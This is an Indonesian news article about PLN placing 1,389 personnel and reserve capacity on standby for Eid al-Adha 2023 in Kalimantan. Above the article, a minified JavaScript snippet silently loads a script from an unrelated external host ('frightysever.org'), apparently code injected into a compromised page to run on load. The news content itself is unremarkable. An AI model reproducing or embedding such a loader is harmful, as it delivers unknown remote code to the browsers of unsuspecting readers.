(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ada Kenaikan Pemakaian 15 Persen, PLN Siagakan 1.389 Personel Jaga Perayaan Idul Adha di Kalimantan

KANALKALIMANTAN.COM, BANJARBARU- PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan memastikan keandalan pasokan listrik di Kalimantan selama perayaan Hari Raya Idul Adha 1444 Hijriyah. Sebanyak 1.389 personel telah disiagakan di 18 posko yang tersebar di seluruh wilayah Kalimantan.

Abdul Salam Nganro, General Manager PLN UIP3B Kalimantan, menyampaikan bahwa pemakaian listrik oleh pelanggan selama perayaan Idul Adha tahun ini mencapai 1.343 Megawatt (MW) di Provinsi Kalimantan Selatan dan Tengah Timur (Kalseltengtim), serta 478 MW di Provinsi Kalimantan Barat (Kalbar).

“Alhamdulillah di Idul Adha 2023 ini kami mencatat peningkatan pemakaian listrik oleh pelanggan sebesar lebih dari 15 persen di seluruh Kalimantan,” jelas Salam.

Salam menegaskan bahwa pasokan daya dari pembangkit listrik dan sistem penyaluran di seluruh Kalimantan berada dalam kondisi normal.

“Ketersediaan daya sistem kelistrikan di seluruh Kalimantan dalam kondisi prima, dengan cadangan sebesar 537 MW untuk sistem Interkoneksi (Kalseltengtim) dan 232 MW untuk sistem Khatulistiwa (Kalbar),” ujar Salam.

Dalam hal ketersediaan energi primer, Salam menyatakan bahwa stok batubara di Pembangkit Listrik Tenaga Uap (PLTU) telah terpenuhi dengan cukup untuk lebih dari 15 hari, yang menunjukkan perbaikan dari tahun sebelumnya.

“Selain memastikan ketersediaan daya dari pembangkit listrik, kami juga memberikan fokus utama pada kesiapan personel dan peralatan selama perayaan Hari Raya Idul Adha,” kata Salam.

Untuk mengantisipasi gangguan pada tower transmisi, PLN telah menyiapkan 15 tower Emergency Recovery System (ERS) dan 5 trafo mobile.

“Kami telah menyiapkan tower ERS untuk mempercepat pemulihan jika terjadi gangguan pada tower transmisi,” tambah Salam.

Salam juga mengajak seluruh masyarakat untuk turut serta menjaga keandalan jaringan transmisi.

“Kami mohon doa dan dukungan dari seluruh pihak, salah satunya dengan tidak bermain layangan yang dapat mengancam penyaluran listrik kepada masyarakat,” pungkas Salam. (Kanalkalimantan.com/kk)

Reporter : KK
Editor : KK